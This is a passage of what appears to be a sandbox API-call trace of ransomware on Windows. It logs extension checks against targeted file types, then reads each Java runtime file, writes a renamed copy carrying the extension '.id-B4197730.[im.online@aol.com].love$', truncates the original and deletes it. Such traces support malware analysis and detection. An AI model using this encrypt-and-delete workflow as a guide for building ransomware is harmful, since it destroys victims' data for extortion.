[0230.862] lstrlenW (lpString=".zip") returned 4 [0230.862] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0230.862] lstrlenW (lpString=".rar") returned 4 [0230.862] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0230.862] lstrlenW (lpString=".bz2") returned 4 [0230.862] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0230.862] lstrlenW (lpString=".7z") returned 3 [0230.862] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0230.863] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\charsets.jar") returned 51 [0230.863] lstrlenW (lpString=".dbf") returned 4 [0230.863] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0230.863] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\charsets.jar") returned 51 [0230.863] lstrlenW (lpString=".1cd") returned 4 [0230.863] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0230.863] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\charsets.jar") returned 51 [0230.863] lstrlenW (lpString=".jpg") returned 4 [0230.863] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0230.863] lstrcmpiW (lpString1=".0_144\\lib\\classlist", lpString2=".love$") returned -1 [0230.863] lstrlenW (lpString="classlist") returned 9 [0230.863] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\classlist" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\classlist"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0230.864] GetFileSizeEx (in: hFile=0x3c0, lpFileSize=0x346ff14 | out: lpFileSize=0x346ff14*=84355) returned 1 [0230.864] CloseHandle (hObject=0x3c0) returned 1 [0230.864] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\classlist" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\classlist")) returned 0x20 [0230.864] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\classlist.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\classlist.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0230.864] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\classlist" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\classlist"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0230.865] SetFilePointerEx (in: hFile=0x3c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x346fec0 | out: lpNewFilePointer=0x0) returned 1 [0230.865] SetFilePointerEx (in: hFile=0x3c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x346fec0 | out: lpNewFilePointer=0x0) returned 1 [0230.865] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\classlist.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\classlist.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x480 [0230.866] GetLastError () returned 0x0 [0230.866] ReadFile (in: hFile=0x3c0, lpBuffer=0x3ca2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x346fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesRead=0x346fecc*=0x14983, lpOverlapped=0x0) returned 1 [0230.892] WriteFile (in: hFile=0x480, lpBuffer=0x3ca2020*, nNumberOfBytesToWrite=0x14990, lpNumberOfBytesWritten=0x346fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesWritten=0x346fc94*=0x14990, lpOverlapped=0x0) returned 1 [0230.913] ReadFile (in: hFile=0x3c0, lpBuffer=0x3ca2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x346fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesRead=0x346fecc*=0x0, lpOverlapped=0x0) returned 1 [0230.913] WriteFile (in: hFile=0x480, lpBuffer=0x3ca2020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x346fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesWritten=0x346fc94*=0xe6, lpOverlapped=0x0) returned 1 [0230.913] SetEndOfFile (hFile=0x480) returned 1 [0230.932] CloseHandle (hObject=0x480) returned 1 [0230.935] SetFilePointerEx (in: hFile=0x3c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x346fec0 | out: lpNewFilePointer=0x0) returned 1 [0230.935] SetEndOfFile (hFile=0x3c0) returned 1 [0230.940] CloseHandle (hObject=0x3c0) returned 1 [0230.940] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\classlist.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x20) returned 1 [0230.940] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\classlist" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\classlist")) returned 1 [0230.941] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\classlist") returned 48 [0230.941] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\classlist") returned 48 [0230.941] lstrlenW (lpString=".doc") returned 4 [0230.941] lstrcmpiW (lpString1=".doc", lpString2="list") returned -1 [0230.941] lstrlenW (lpString=".docx") returned 5 [0230.941] lstrcmpiW (lpString1=".docx", lpString2="slist") returned -1 [0230.941] lstrlenW (lpString=".pdf") returned 4 [0230.941] lstrcmpiW (lpString1=".pdf", lpString2="list") returned -1 [0230.941] lstrlenW (lpString=".xls") returned 4 [0230.941] lstrcmpiW (lpString1=".xls", lpString2="list") returned -1 [0230.941] lstrlenW (lpString=".xlsx") returned 5 [0230.941] lstrcmpiW (lpString1=".xlsx", lpString2="slist") returned -1 [0230.941] lstrlenW (lpString=".ppt") returned 4 [0230.941] lstrcmpiW (lpString1=".ppt", lpString2="list") returned -1 [0230.941] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\classlist") returned 48 [0230.941] lstrlenW (lpString=".zip") returned 4 [0230.941] lstrcmpiW (lpString1=".zip", lpString2="list") returned -1 [0230.941] lstrlenW (lpString=".rar") returned 4 [0230.941] lstrcmpiW (lpString1=".rar", lpString2="list") returned -1 [0230.941] lstrlenW (lpString=".bz2") returned 4 [0230.941] lstrcmpiW (lpString1=".bz2", lpString2="list") returned -1 [0230.941] lstrlenW (lpString=".7z") returned 3 [0230.942] lstrcmpiW (lpString1=".7z", lpString2="ist") returned -1 [0230.942] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\classlist") returned 48 [0230.942] lstrlenW (lpString=".dbf") returned 4 [0230.942] lstrcmpiW (lpString1=".dbf", lpString2="list") returned -1 [0230.942] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\classlist") returned 48 [0230.942] lstrlenW (lpString=".1cd") returned 4 [0230.942] lstrcmpiW (lpString1=".1cd", lpString2="list") returned -1 [0230.942] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\classlist") returned 48 [0230.942] lstrlenW (lpString=".jpg") returned 4 [0230.942] lstrcmpiW (lpString1=".jpg", lpString2="list") returned -1 [0230.942] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\classlist") returned 48 [0230.942] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\classlist") returned 48 [0230.942] lstrlenW (lpString=".doc") returned 4 [0230.942] lstrcmpiW (lpString1=".doc", lpString2="list") returned -1 [0230.942] lstrlenW (lpString=".docx") returned 5 [0230.942] lstrcmpiW (lpString1=".docx", lpString2="slist") returned -1 [0230.942] lstrlenW (lpString=".pdf") returned 4 [0230.942] lstrcmpiW (lpString1=".pdf", lpString2="list") returned -1 [0230.942] lstrlenW (lpString=".xls") returned 4 [0230.942] lstrcmpiW (lpString1=".xls", lpString2="list") returned -1 [0230.942] lstrlenW (lpString=".xlsx") returned 5 [0230.942] lstrcmpiW (lpString1=".xlsx", lpString2="slist") returned -1 [0230.942] lstrlenW (lpString=".ppt") returned 4 [0230.942] lstrcmpiW (lpString1=".ppt", lpString2="list") returned -1 [0230.942] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\classlist") returned 48 [0230.942] lstrlenW (lpString=".zip") returned 4 [0230.942] lstrcmpiW (lpString1=".zip", lpString2="list") returned -1 [0230.942] lstrlenW (lpString=".rar") returned 4 [0230.942] lstrcmpiW (lpString1=".rar", lpString2="list") returned -1 [0230.942] lstrlenW (lpString=".bz2") returned 4 [0230.942] lstrcmpiW (lpString1=".bz2", lpString2="list") returned -1 [0230.942] lstrlenW (lpString=".7z") returned 3 [0230.942] lstrcmpiW (lpString1=".7z", lpString2="ist") returned -1 [0230.942] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\classlist") returned 48 [0230.943] lstrlenW (lpString=".dbf") returned 4 [0230.943] lstrcmpiW (lpString1=".dbf", lpString2="list") returned -1 [0230.943] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\classlist") returned 48 [0230.943] lstrlenW (lpString=".1cd") returned 4 [0230.943] lstrcmpiW (lpString1=".1cd", lpString2="list") returned -1 [0230.943] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\classlist") returned 48 [0230.943] lstrlenW (lpString=".jpg") returned 4 [0230.943] lstrcmpiW (lpString1=".jpg", lpString2="list") returned -1 [0230.943] lstrcmpiW (lpString1=".pf", lpString2=".love$") returned 1 [0230.943] lstrlenW (lpString="GRAY.pf") returned 7 [0230.943] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\GRAY.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\gray.pf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0230.944] GetFileSizeEx (in: hFile=0x3c0, lpFileSize=0x346ff14 | out: lpFileSize=0x346ff14*=632) returned 1 [0230.944] CloseHandle (hObject=0x3c0) returned 1 [0230.944] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\GRAY.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\gray.pf")) returned 0x20 [0230.944] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\GRAY.pf.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\gray.pf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0230.944] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\GRAY.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\gray.pf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0230.944] SetFilePointerEx (in: hFile=0x3c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x346fec0 | out: lpNewFilePointer=0x0) returned 1 [0230.944] SetFilePointerEx (in: hFile=0x3c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x346fec0 | out: lpNewFilePointer=0x0) returned 1 [0230.944] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\GRAY.pf.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\gray.pf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x480 [0230.945] GetLastError () returned 0x0 [0230.945] ReadFile (in: hFile=0x3c0, lpBuffer=0x3ca2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x346fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesRead=0x346fecc*=0x278, lpOverlapped=0x0) returned 1 [0230.946] WriteFile (in: hFile=0x480, lpBuffer=0x3ca2020*, nNumberOfBytesToWrite=0x280, lpNumberOfBytesWritten=0x346fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesWritten=0x346fc94*=0x280, lpOverlapped=0x0) returned 1 [0230.947] ReadFile (in: hFile=0x3c0, lpBuffer=0x3ca2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x346fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesRead=0x346fecc*=0x0, lpOverlapped=0x0) returned 1 [0230.947] WriteFile (in: hFile=0x480, lpBuffer=0x3ca2020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x346fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesWritten=0x346fc94*=0xe2, lpOverlapped=0x0) returned 1 [0230.947] SetEndOfFile (hFile=0x480) returned 1 [0230.947] CloseHandle (hObject=0x480) returned 1 [0230.948] SetFilePointerEx (in: hFile=0x3c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x346fec0 | out: lpNewFilePointer=0x0) returned 1 [0230.948] SetEndOfFile (hFile=0x3c0) returned 1 [0230.952] CloseHandle (hObject=0x3c0) returned 1 [0230.952] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\GRAY.pf.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x20) returned 1 [0230.952] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\GRAY.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\gray.pf")) returned 1 [0230.953] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\GRAY.pf") returned 50 [0230.953] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\GRAY.pf") returned 50 [0230.953] lstrlenW (lpString=".doc") returned 4 [0230.953] lstrcmpiW (lpString1=".doc", lpString2="Y.pf") returned -1 [0230.953] lstrlenW (lpString=".docx") returned 5 [0230.953] lstrcmpiW (lpString1=".docx", lpString2="AY.pf") returned -1 [0230.953] lstrlenW (lpString=".pdf") returned 4 [0230.953] lstrcmpiW (lpString1=".pdf", lpString2="Y.pf") returned -1 [0230.953] lstrlenW (lpString=".xls") returned 4 [0230.953] lstrcmpiW (lpString1=".xls", lpString2="Y.pf") returned -1 [0230.953] lstrlenW (lpString=".xlsx") returned 5 [0230.954] lstrcmpiW (lpString1=".xlsx", lpString2="AY.pf") returned -1 [0230.954] lstrlenW (lpString=".ppt") returned 4 [0230.954] lstrcmpiW (lpString1=".ppt", lpString2="Y.pf") returned -1 [0230.954] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\GRAY.pf") returned 50 [0230.954] lstrlenW (lpString=".zip") returned 4 [0230.954] lstrcmpiW (lpString1=".zip", lpString2="Y.pf") returned -1 [0230.954] lstrlenW (lpString=".rar") returned 4 [0230.954] lstrcmpiW (lpString1=".rar", lpString2="Y.pf") returned -1 [0230.954] lstrlenW (lpString=".bz2") returned 4 [0230.954] lstrcmpiW (lpString1=".bz2", lpString2="Y.pf") returned -1 [0230.954] lstrlenW (lpString=".7z") returned 3 [0230.954] lstrcmpiW (lpString1=".7z", lpString2=".pf") returned -1 [0230.954] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\GRAY.pf") returned 50 [0230.954] lstrlenW (lpString=".dbf") returned 4 [0230.954] lstrcmpiW (lpString1=".dbf", lpString2="Y.pf") returned -1 [0230.954] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\GRAY.pf") returned 50 [0230.954] lstrlenW (lpString=".1cd") returned 4 [0230.954] lstrcmpiW (lpString1=".1cd", lpString2="Y.pf") returned -1 [0230.954] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\GRAY.pf") returned 50 [0230.954] lstrlenW (lpString=".jpg") returned 4 [0230.954] lstrcmpiW (lpString1=".jpg", lpString2="Y.pf") returned -1 [0230.954] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\GRAY.pf") returned 50 [0230.954] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\GRAY.pf") returned 50 [0230.954] lstrlenW (lpString=".doc") returned 4 [0230.954] lstrcmpiW (lpString1=".doc", lpString2="Y.pf") returned -1 [0230.954] lstrlenW (lpString=".docx") returned 5 [0230.954] lstrcmpiW (lpString1=".docx", lpString2="AY.pf") returned -1 [0230.954] lstrlenW (lpString=".pdf") returned 4 [0230.954] lstrcmpiW (lpString1=".pdf", lpString2="Y.pf") returned -1 [0230.954] lstrlenW (lpString=".xls") returned 4 [0230.954] lstrcmpiW (lpString1=".xls", lpString2="Y.pf") returned -1 [0230.954] lstrlenW (lpString=".xlsx") returned 5 [0230.954] lstrcmpiW (lpString1=".xlsx", lpString2="AY.pf") returned -1 [0230.954] lstrlenW (lpString=".ppt") returned 4 [0230.955] lstrcmpiW (lpString1=".ppt", lpString2="Y.pf") returned -1 [0230.955] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\GRAY.pf") returned 50 [0230.955] lstrlenW (lpString=".zip") returned 4 [0230.955] lstrcmpiW (lpString1=".zip", lpString2="Y.pf") returned -1 [0230.955] lstrlenW (lpString=".rar") returned 4 [0230.955] lstrcmpiW (lpString1=".rar", lpString2="Y.pf") returned -1 [0230.955] lstrlenW (lpString=".bz2") returned 4 [0230.955] lstrcmpiW (lpString1=".bz2", lpString2="Y.pf") returned -1 [0230.955] lstrlenW (lpString=".7z") returned 3 [0230.955] lstrcmpiW (lpString1=".7z", lpString2=".pf") returned -1 [0230.955] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\GRAY.pf") returned 50 [0230.955] lstrlenW (lpString=".dbf") returned 4 [0230.955] lstrcmpiW (lpString1=".dbf", lpString2="Y.pf") returned -1 [0230.955] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\GRAY.pf") returned 50 [0230.955] lstrlenW (lpString=".1cd") returned 4 [0230.955] lstrcmpiW (lpString1=".1cd", lpString2="Y.pf") returned -1 [0230.955] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\GRAY.pf") returned 50 [0230.955] lstrlenW (lpString=".jpg") returned 4 [0230.955] lstrcmpiW (lpString1=".jpg", lpString2="Y.pf") returned -1 [0230.955] lstrcmpiW (lpString1=".pf", lpString2=".love$") returned 1 [0230.955] lstrlenW (lpString="LINEAR_RGB.pf") returned 13 [0230.955] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\LINEAR_RGB.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\linear_rgb.pf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0230.957] GetFileSizeEx (in: hFile=0x3c0, lpFileSize=0x346ff14 | out: lpFileSize=0x346ff14*=1044) returned 1 [0230.957] CloseHandle (hObject=0x3c0) returned 1 [0230.957] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\LINEAR_RGB.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\linear_rgb.pf")) returned 0x20 [0230.957] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\LINEAR_RGB.pf.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\linear_rgb.pf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0230.958] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\LINEAR_RGB.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\linear_rgb.pf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0230.958] SetFilePointerEx (in: hFile=0x3c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x346fec0 | out: lpNewFilePointer=0x0) returned 1 [0230.958] SetFilePointerEx (in: hFile=0x3c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x346fec0 | out: lpNewFilePointer=0x0) returned 1 [0230.958] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\LINEAR_RGB.pf.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\linear_rgb.pf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x480 [0230.961] GetLastError () returned 0x0 [0230.961] ReadFile (in: hFile=0x3c0, lpBuffer=0x3ca2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x346fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesRead=0x346fecc*=0x414, lpOverlapped=0x0) returned 1 [0230.964] WriteFile (in: hFile=0x480, lpBuffer=0x3ca2020*, nNumberOfBytesToWrite=0x420, lpNumberOfBytesWritten=0x346fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesWritten=0x346fc94*=0x420, lpOverlapped=0x0) returned 1 [0230.966] ReadFile (in: hFile=0x3c0, lpBuffer=0x3ca2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x346fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesRead=0x346fecc*=0x0, lpOverlapped=0x0) returned 1 [0230.966] WriteFile (in: hFile=0x480, lpBuffer=0x3ca2020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x346fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesWritten=0x346fc94*=0xee, lpOverlapped=0x0) returned 1 [0230.966] SetEndOfFile (hFile=0x480) returned 1 [0230.966] CloseHandle (hObject=0x480) returned 1 [0230.966] SetFilePointerEx (in: hFile=0x3c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x346fec0 | out: lpNewFilePointer=0x0) returned 1 [0230.966] SetEndOfFile (hFile=0x3c0) returned 1 [0230.971] CloseHandle (hObject=0x3c0) returned 1 [0230.971] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\LINEAR_RGB.pf.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x20) returned 1 [0230.972] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\LINEAR_RGB.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\linear_rgb.pf")) returned 1 [0231.013] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\LINEAR_RGB.pf") returned 56 [0231.013] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\LINEAR_RGB.pf") returned 56 [0231.013] lstrlenW (lpString=".doc") returned 4 [0231.013] lstrcmpiW (lpString1=".doc", lpString2="B.pf") returned -1 [0231.013] lstrlenW (lpString=".docx") returned 5 [0231.013] lstrcmpiW (lpString1=".docx", lpString2="GB.pf") returned -1 [0231.013] lstrlenW (lpString=".pdf") returned 4 [0231.013] lstrcmpiW (lpString1=".pdf", lpString2="B.pf") returned -1 [0231.013] lstrlenW (lpString=".xls") returned 4 [0231.013] lstrcmpiW (lpString1=".xls", lpString2="B.pf") returned -1 [0231.013] lstrlenW (lpString=".xlsx") returned 5 [0231.013] lstrcmpiW (lpString1=".xlsx", lpString2="GB.pf") returned -1 [0231.013] lstrlenW (lpString=".ppt") returned 4 [0231.013] lstrcmpiW (lpString1=".ppt", lpString2="B.pf") returned -1 [0231.013] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\LINEAR_RGB.pf") returned 56 [0231.013] lstrlenW (lpString=".zip") returned 4 [0231.013] lstrcmpiW (lpString1=".zip", lpString2="B.pf") returned -1 [0231.013] lstrlenW (lpString=".rar") returned 4 [0231.013] lstrcmpiW (lpString1=".rar", lpString2="B.pf") returned -1 [0231.014] lstrlenW (lpString=".bz2") returned 4 [0231.014] lstrcmpiW (lpString1=".bz2", lpString2="B.pf") returned -1 [0231.014] lstrlenW (lpString=".7z") returned 3 [0231.014] lstrcmpiW (lpString1=".7z", lpString2=".pf") returned -1 [0231.014] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\LINEAR_RGB.pf") returned 56 [0231.014] lstrlenW (lpString=".dbf") returned 4 [0231.014] lstrcmpiW (lpString1=".dbf", lpString2="B.pf") returned -1 [0231.014] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\LINEAR_RGB.pf") returned 56 [0231.014] lstrlenW (lpString=".1cd") returned 4 [0231.014] lstrcmpiW (lpString1=".1cd", lpString2="B.pf") returned -1 [0231.014] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\LINEAR_RGB.pf") returned 56 [0231.014] lstrlenW (lpString=".jpg") returned 4 [0231.014] lstrcmpiW (lpString1=".jpg", lpString2="B.pf") returned -1 [0231.014] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\LINEAR_RGB.pf") returned 56 [0231.014] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\LINEAR_RGB.pf") returned 56 [0231.014] lstrlenW (lpString=".doc") returned 4 [0231.014] lstrcmpiW (lpString1=".doc", lpString2="B.pf") returned -1 [0231.014] lstrlenW (lpString=".docx") returned 5 [0231.014] lstrcmpiW (lpString1=".docx", lpString2="GB.pf") returned -1 [0231.014] lstrlenW (lpString=".pdf") returned 4 [0231.014] lstrcmpiW (lpString1=".pdf", lpString2="B.pf") returned -1 [0231.014] lstrlenW (lpString=".xls") returned 4 [0231.014] lstrcmpiW (lpString1=".xls", lpString2="B.pf") returned -1 [0231.014] lstrlenW (lpString=".xlsx") returned 5 [0231.014] lstrcmpiW (lpString1=".xlsx", lpString2="GB.pf") returned -1 [0231.014] lstrlenW (lpString=".ppt") returned 4 [0231.014] lstrcmpiW (lpString1=".ppt", lpString2="B.pf") returned -1 [0231.014] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\LINEAR_RGB.pf") returned 56 [0231.015] lstrlenW (lpString=".zip") returned 4 [0231.015] lstrcmpiW (lpString1=".zip", lpString2="B.pf") returned -1 [0231.015] lstrlenW (lpString=".rar") returned 4 [0231.015] lstrcmpiW (lpString1=".rar", lpString2="B.pf") returned -1 [0231.015] lstrlenW (lpString=".bz2") returned 4 [0231.015] lstrcmpiW (lpString1=".bz2", lpString2="B.pf") returned -1 [0231.015] lstrlenW (lpString=".7z") returned 3 [0231.015] lstrcmpiW (lpString1=".7z", lpString2=".pf") returned -1 [0231.015] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\LINEAR_RGB.pf") returned 56 [0231.015] lstrlenW (lpString=".dbf") returned 4 [0231.015] lstrcmpiW (lpString1=".dbf", lpString2="B.pf") returned -1 [0231.015] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\LINEAR_RGB.pf") returned 56 [0231.015] lstrlenW (lpString=".1cd") returned 4 [0231.015] lstrcmpiW (lpString1=".1cd", lpString2="B.pf") returned -1 [0231.015] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\LINEAR_RGB.pf") returned 56 [0231.015] lstrlenW (lpString=".jpg") returned 4 [0231.015] lstrcmpiW (lpString1=".jpg", lpString2="B.pf") returned -1 [0231.015] lstrcmpiW (lpString1=".properties", lpString2=".love$") returned 1 [0231.015] lstrlenW (lpString="content-types.properties") returned 24 [0231.015] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\content-types.properties" (normalized: 